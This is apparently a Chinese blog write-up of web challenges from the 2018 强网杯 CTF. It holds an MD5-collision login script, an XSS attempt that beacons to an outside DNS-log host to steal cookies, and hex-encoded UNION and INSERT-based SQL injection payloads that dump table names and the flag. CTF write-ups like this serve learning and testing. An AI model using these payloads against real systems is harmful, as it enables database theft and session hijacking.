美文网首页CTF
[强网杯](web)部分writeup

[强网杯](web)部分writeup

作者: _Deen | 来源:发表于2018-03-27 14:02 被阅读112次

web签到

这道题在一航sniperoj上写到过,当时就觉得题目挺赞的。解法用到了王小云的md5碰撞的测试样本。具体内容自行百度。直接给出代码和解法。

题目地址: http://39.107.33.96:10000

#!/usr/bin/env python

import requests
import hashlib

def getMd5(word):
    m = hashlib.md5()
    m.update(word)
    return m.hexdigest()

def getContent(filepath):
    with open(filepath, "r") as f:
        return f.read()

def login(username, password):
    url = "http://39.107.33.96:10000/index.php"
    data = {
        "param1":username,
        "param2":password,
    }
    proxy={"http":"http://127.0.0.1:8080"}
    response = requests.post(url, data=data,proxies=proxy)
    print response.text.split("\n")[0]

username = getContent("./evil1.txt")
password = getContent("./evil2.txt")

print "[+] Checking md5 of input files..."
if getMd5(username) == getMd5(password):
    print "[+] Checking OK!"
    print "[+] Sending..."
    login(username, password)
else:
    print "[-] Checking failed! Please use : [http://www.win.tue.nl/hashclash/]"
image

文件下载地址:https://pan.baidu.com/s/1OaS7nnuQzG4dsmneAHEArA#list/path=%2Fctf

Share your mind

题目地址: http://39.107.33.96:20000/login.php

踩了个坑,非预期无解...

非预期: 提交http://39.107.33.96:20000/index.php/report?<img src=xxxx.ceye.io>看dnslog发现确实解析,测试也能够xss,但是就是打不过cookie......换了一万年的payload.......也是头铁,无语,预期解也没想出来....

image

Three hit

一个注册登录功能,在age处注入,age校检数字,用十六进制绕过。所以字符先十六进制转化,在insert进数据库的时候又会变回字符串。

payload:

1 and 0 union select 1,2,3,4 #

3120616e64203020756e696f6e2073656c65637420312c322c332c342023

1 and 0 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4 #

3120616e64203020756e696f6e2073656c65637420312c2873656c6563742067726f75705f636f6e636174287461626c655f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d64617461626173652829292c332c342023

1 and 0 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x666c6167),3,4 #


1 and 0 union select 1,(select group_concat(flag) from flag),3,4 #

image
image image

python is best language

题目地址: http://39.107.32.29:20000

写过django,和flask差不多,拿到源码往Cobra一丢,以为能有点东西,发现还是太年轻了...

python代码审计没怎么接触过,依稀记得有jinja模板漏洞之类的。结构比较简单,一步一步跟进测试分析吧。

注册页面

看表单处理,在/app/forms.py,对用户名注册有过滤。

def validate_username(self, username):
        if re.match("^[a-zA-Z0-9_]+$", username.data) == None:
            raise ValidationError('username has invalid charactor!')
        user = mysql.One("user", {"username": "'%s'" % username.data}, ["id"])

是一个留言板,还可以看到forms.py下面对profile about me的过滤。

def validate_note(self, note):
        if re.match("^[a-zA-Z0-9_\'\(\) \.\_\*\`\-\@\=\+\>\<]*$", note.data) == None:
            raise ValidationError("Don't input invalid charactors!")

但是却对浏览这一块say something没有任何防护处理。

class PostForm(FlaskForm):
    post = StringField('Say something', validators=[DataRequired()])
    submit = SubmitField('Submit')

在others.py可以看到与数据库交互的操作,是直接拼接的,不存在防护。

所以注入应该是在留言的时候,通过insert将我们需要注入的数据存起来。

接下来就是搞清instert结构,在models.py最下面。

class Post(Base):
    __tablename__ = "post"
    id = Column(Integer, primary_key=True)
    body = Column(String(140))
    user_id = Column(Integer, ForeignKey('user.id'))
    timestamp = Column(Date, index=True, default=datetime.utcnow)

    def __repr__(self):
        return '<Post {}>'.format(self.body)

可以看到,插入数据有四条。

所以payload t',1,'2018-03-24')#即可成功闭合。

同时再插入一条获取我们的数据。

go',1,'2018-03-24'),(111,(select group_concat(table_name) from information_schema.tables where table_schema=database()),'1','2018-03-24')#

得到:flaaaaag,followers,post,user

go',1,'2018-03-24'),(1111,(select group_concat(column_name) from information_schema.columns where table_name=0x666c616161616167),'1','2018-03-24')#

得到flllllag

go',1,'2018-03-24'),(11111,(select group_concat(flllllag) from flaaaaag),'1','2018-03-24')#

QWB{us1ng_val1dator_caut1ous}

打不动真的打不动........

相关文章

  • [强网杯](web)部分writeup

    web签到 这道题在一航sniperoj上写到过,当时就觉得题目挺赞的。解法用到了王小云的md5碰撞的测试样本。具...

  • [2017强网杯] Web Writeup

    Web50 : 题目名称:Broken 题目url:动态url 首先一进去之后发现有file链接,点进去之后是一串...

  • [鹏城杯线上] web部分writeup

    [鹏城杯] web部分writeup 这次鹏城杯是真的对web不友好。 shadow 这题出的还是挺好的58.20...

  • 2018 强网杯 Streamgame系列部分 Writeup

    streamgame1 试题 ​ 额,拿到这个题,长度才19位,2进制,判断flag总个524287个,直接上...

  • [网鼎杯] 第二场web writeup

    网鼎杯 第二场 web writeup 向信安之路的老哥要了一个账号,赛后开始做题 web calc wafUpl...

  • Web

    这是 ISITDTU 的一些 web 题目 来自 ISITDTU CTF 2018 部分Web题目Writeup这...

  • 第二届强网杯pwn writeup[部分]

    0x00 前言 看神仙打架系列,题太多了,自己太菜了,还是只有沦落到赛后复现大佬们的Write Up的地步了,什么...

  • bugku部分web writeup

    网站被黑 今天学会了用burpsuite进行爆破密码,嘿嘿嘿~题目如下: 首先要用御剑扫一下ip: 出现了一个sh...

  • GXZYCTF部分Web Writeup

    很长一段时间没有接触了,都沉迷于课程学习不能自拔(被迫的),果然2020年对题目都失去了感觉,不仅如此,刚打开就想...

  • 强网杯部分wp

    MISC-welcome 记事本打开发现文件头BM,改后缀bmp 扔stegsolve,analyse->ster...

网友评论

  • FFFF0H:你好作者,请问签到题第三部分,为什么要把值进行url编码?是因为很多不可打印字符和其他字符的原因吗?那url编码后传进去的字符还能变为原来的特殊的字符码?
    _Deen:@FFFF0H 这个问题我也问过其他人,当时得到的答案好像也是这个,至于能不能变回去,这个就不知道了

本文标题:[强网杯](web)部分writeup

本文链接:https://www.haomeiwen.com/subject/fwzjcftx.html